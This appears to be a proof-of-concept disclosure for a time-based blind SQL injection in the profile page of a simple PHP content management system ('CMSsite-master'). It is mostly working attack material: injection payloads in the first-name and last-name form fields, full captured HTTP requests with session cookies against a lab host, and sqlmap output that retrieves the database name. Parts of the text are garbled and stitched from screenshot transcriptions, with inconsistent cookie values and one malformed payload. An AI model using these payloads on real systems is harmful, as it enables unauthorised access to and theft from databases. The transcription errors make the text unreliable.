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793 KB ...

[illegible]

Proof of concept (POC):

CMS Admin Page

Home phuctest s

Dashboard

Post

Categories

Comments

Users

Profile

Welcome to your Profile Page phuctest

User Name

admin

FirstName

' or if(substring(database()),1,1)='p';sleep(3);(select *) = 1

LastName

s

User

User

User Image

Photo

Choose File No file chosen

Email

kty35853@cuoly.com

Password

Update User

Payload Boolean true: ' or if(substring(database(),1,1)='p',sleep(3),(select '')) = '

The screenshot displays the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows the raw HTTP request, which includes a 'Content-Disposition: form-data; name="user_name"' field with the value 'admin' and a 'Content-Disposition: form-data; name="user_firstname"' field with the value 'admin'. The 'Content-Disposition: form-data; name="user_lastname"' field contains the payload: ' or if(substring(database(),1,1)='p',sleep(3),(select '')) = '. The 'Response' tab shows the raw HTTP response, which is a 200 OK status with a 'Content-Type: text/html; charset=UTF-8' header. The response body contains HTML content, including a title 'Dashboard - phuctest'.

Request

```
1 ehp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer:
11 http://192.168.1.8:8080/CMSsite-master/admin/profile.php?section=admin
12 Accept-Encoding: gzip, deflate
13 Accept-Language:
14 vi-VN,vl;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
15 Cookie: admin_auth=
16 eyJpdiI6Ii1wM3pUShmkrSsVyQ2ZnVkFmK002ZEE9PSIsInZhbHVlIjoIdiQlRlRlVWV3L3RDaUxn
17 bVh5S2VVDXk5YmVzQmllLnQ5WkJaRVJFbm00ZHRDSGJpSWlHSTZDNzhja0k0NmNlRmRdKQ==P2
18 ZlNjUFRwamk5WFlqK2ZjeG5udUw3OFJVRlwwNzBuKlwwQVRyY0o3S6l2ZUhiV2NlV2lCZkd0
19 WHP6eFlmcEZxZjElamRkcEJwUGVldlZ0QXVETU5XditudFE9PSIsImhYyI6ImYyZWPhNWJl
20 ImM3ZWJjNDM3NTEzNTI1MTZjY2RlYjg0YUZAzMGM5YMDZhYmF1OWIyZWQwYjIwMmR5ZBOWw1I
21 MDI1fc43D43D; SSS105c9d7b0d42de58587208e9de25d2f4=
22 7P34bFMwKfp7pJSticKkeGhQfPHHP8LJKfRdPqVLA; PHPSESSID=
23 lrsp6113umtpa0p7sv7q8lu0k;
24 EM_AUTHCOOKIE_rm08yTa9GcjUd5uJevXWxy552Uw0XrXg=
25 admin87c87Cbcc2f130e19ca5cd64f61ec1738bf02b
26 Connection: close
27
28 -----WebKitFormBoundaryDAIMpUERynoF6vsj
29 Content-Disposition: form-data; name="user_name"
30
31 admin
32 -----WebKitFormBoundaryDAIMpUERynoF6vsj
33 Content-Disposition: form-data; name="user_firstname"
34
35 admin
36 -----WebKitFormBoundaryDAIMpUERynoF6vsj
37 Content-Disposition: form-data; name="user_lastname"
38
39 ' or if(substring(database(),1,1)='p',sleep(3),(select '')) = '
40 -----WebKitFormBoundaryDAIMpUERynoF6vsj
41
42 Done
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Thu, 20 Jan 2022 19:38:31 GMT
3 Server: Apache/2.4.52 (Ubuntu) OpenSSL/1.1.1m PHP/7.4.27
4 X-Powered-By: PHP/7.4.27
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Content-Length: 7618
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12 <!-- @author 'Victor Alagwu';
13 // @project 'Simple Content Management System
14 // @date 'October 2016'; -->
15 <!-- @author 'Victor Alagwu';
16 // @project 'Simple Content Management System
17 // @date 'October 2016'; -->
18 <!DOCTYPE html>
19 <html lang="en">
20
21 <head>
22
23 <meta charset="utf-8">
24 <meta http-equiv="X-UA-Compatible" content="
25 <meta name="viewport" content="width=device
26 <meta name="description" content="">
27 <meta name="author" content="">
28
29 <title>
30 Dashboard - phuctest
31
32 7,948 bytes | 3,644 millis
```

Payload Boolean false: ' or if(substring(database(),1,1)='a',sleep(3),(select '')) = '

The screenshot displays the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows the raw HTTP request, which includes a 'Content-Disposition: form-data; name="user_name"' field with the value 'admin' and a 'Content-Disposition: form-data; name="user_firstname"' field with the value 'admin'. The 'Content-Disposition: form-data; name="user_lastname"' field contains the payload: ' or if(substring(database(),1,1)='a',sleep(3),(select '')) = '. The 'Response' tab shows the raw HTTP response, which is a 200 OK status.

Request

```
1 ehp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
2 Referer:
3 http://192.168.1.8:8080/CMSsite-master/admin/profile.php?section=admin
4 Accept-Encoding: gzip, deflate
5 Accept-Language:
6 vi-VN,vl;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
7 Cookie: admin_auth=
8 eyJpdiI6Ii1wM3pUShmkrSsVyQ2ZnVkFmK002ZEE9PSIsInZhbHVlIjoIdiQlRlRlVWV3L3RDaUxn
9 bVh5S2VVDXk5YmVzQmllLnQ5WkJaRVJFbm00ZHRDSGJpSWlHSTZDNzhja0k0NmNlRmRdKQ==P2
10 ZlNjUFRwamk5WFlqK2ZjeG5udUw3OFJVRlwwNzBuKlwwQVRyY0o3S6l2ZUhiV2NlV2lCZkd0
11 WHP6eFlmcEZxZjElamRkcEJwUGVldlZ0QXVETU5XditudFE9PSIsImhYyI6ImYyZWPhNWJl
12 ImM3ZWJjNDM3NTEzNTI1MTZjY2RlYjg0YUZAzMGM5YMDZhYmF1OWIyZWQwYjIwMmR5ZBOWw1I
13 MDI1fc43D43D; SSS105c9d7b0d42de58587208e9de25d2f4=
14 7P34bFMwKfp7pJSticKkeGhQfPHHP8LJKfRdPqVLA; PHPSESSID=
15 lrsp6113umtpa0p7sv7q8lu0k;
16 EM_AUTHCOOKIE_rm08yTa9GcjUd5uJevXWxy552Uw0XrXg=
17 admin87c87Cbcc2f130e19ca5cd64f61ec1738bf02b
18 Connection: close
19
20 -----WebKitFormBoundaryDAIMpUERynoF6vsj
21 Content-Disposition: form-data; name="user_name"
22
23 admin
24 -----WebKitFormBoundaryDAIMpUERynoF6vsj
25 Content-Disposition: form-data; name="user_firstname"
26
27 admin
28 -----WebKitFormBoundaryDAIMpUERynoF6vsj
29 Content-Disposition: form-data; name="user_lastname"
30
31 ' or if(substring(database(),1,1)='a',sleep(3),(select '')) = '
32 -----WebKitFormBoundaryDAIMpUERynoF6vsj
33
34 Done
```

Response

```
1 HTTP/1.1 200 OK
```

```
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer:
http://192.168.1.8:8080/CMSite-master/admin/profile.php?section=admin
11 Accept-Encoding: gzip, deflate
12 Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
13 Cookie: admin_auth=
eyJpdiI6IjVwM3pUSmkrSzVvYQZ2ZnVhZFNKODQ0ZEE9PSIsInZhbHVlIjoiaWoiL3RDaUxnbVh
5S2VDMXc9G9YwWzQmLmNnQ5WkjaRVJpbmo0ZHRDSSGJpSWlHSTZDNzhJa0k0NnNrWDdKQzFZZlNjNF
wvank5WF1qK2ZjeG5udUw3OFJVRlwwNzBuKlwwQVRyc0o3SGlZZUhvV2M1V2lCZkd0WHF6eFlmc
EZxZjBlamRkeEJwUGVldlZ0QVBTU5XditudFE9PSIsImhhYyI6ImYyZWZhNWJlNmM3ZWJjNDM3
NTEzNTllMTZjY2RlYjg0YzAzMFIyMDZhYmF0IWIyZWQwYjIwZWY5YzE0NzI1MDIifQ%3D%3D;
SESS105c9d7b0d42de58587208e9de25d2f4=
7P34bFMwKf7pJSticKkeGhQfPHHP8LJkfRofPqdVLA; PHPSESSID=
lrsp6l13imltpa0p7sv7q8lu0k; EM_AUTHCOOKIE_rm08yTa9GOjUd5uJevXWxy552Uw0XrXg=
admin47c47cbcc2f130c19ca5cd64fcd1738bf02b
14 Connection: close
15
16 -----WebKitFormBoundaryDAIMpUERynoP6vsj
17 Content-Disposition: form-data; name="user_name"
18
19 admin
20 -----WebKitFormBoundaryDAIMpUERynoP6vsj
21 Content-Disposition: form-data; name="user_firstname"
22
23 ' or if(substring(database(),1,1)='a',sleep(3),(select '')) = '
24 -----WebKitFormBoundaryDAIMpUERynoP6vsj
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Exploit:

```
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: -----WebKitFormBoundaryiXWpjJ5xfAHAGPa
Content-Disposition: form-data; name="user_name"

admin
-----WebKitFormBoundaryiXWpjJ5xfAHAGPa
```

```
Content-Disposition: form-data; name="user_firstname"
phuctest' AND (SELECT 3973 FROM (SELECT(SLEEP(5)))e1BA) AND 'tBRU'='tBRU
-----WebKitFormBoundaryiXmpJj5xfAHAGPa
Content-Disposition: form-data; name="user_lastname"

s
-----WebKitFormBoundaryiXmpJj5xfAHAGPa
Content-Disposition: form-data; name="user_role"

User
-----WebKitFormBoundaryiXmpJj5xfAHAGPa
Content-Disposition: form-data; name="user_image"; filename=""
Content-Type: application/octet-stream

-----WebKitFormBoundaryiXmpJj5xfAHAGPa
Content-Disposition: form-data; name="user_email"

kly35953@cuoly.com
-----WebKitFormBoundaryiXmpJj5xfAHAGPa
Content-Disposition: form-data; name="user_password"

$2y$10$i79cwfZuMjldG8R7rLIC.I306y9WgPL8/3EcMBgQTFY880mNDNW.
-----WebKitFormBoundaryiXmpJj5xfAHAGPa
Content-Disposition: form-data; name="update_user"

Update User
-----WebKitFormBoundaryiXmpJj5xfAHAGPa--

[02:46:07] [INFO] the back-end DBMS is MySQL
[02:46:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web application technology: Apache 2.4.52, PHP 7.4.27
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[02:46:13] [INFO] fetching current database
[02:46:13] [INFO] retrieved:
[02:46:23] [INFO] adjusting time delay to 2 seconds due to good response times
php_cms
current database: 'php_cms'
[02:47:37] [INFO] fetched data logged to text files under '/home/phucuth/.local/share/sqlmap/output/192.168.1.8'

[*] ending @ 02:47:37 /2022-01-21/
```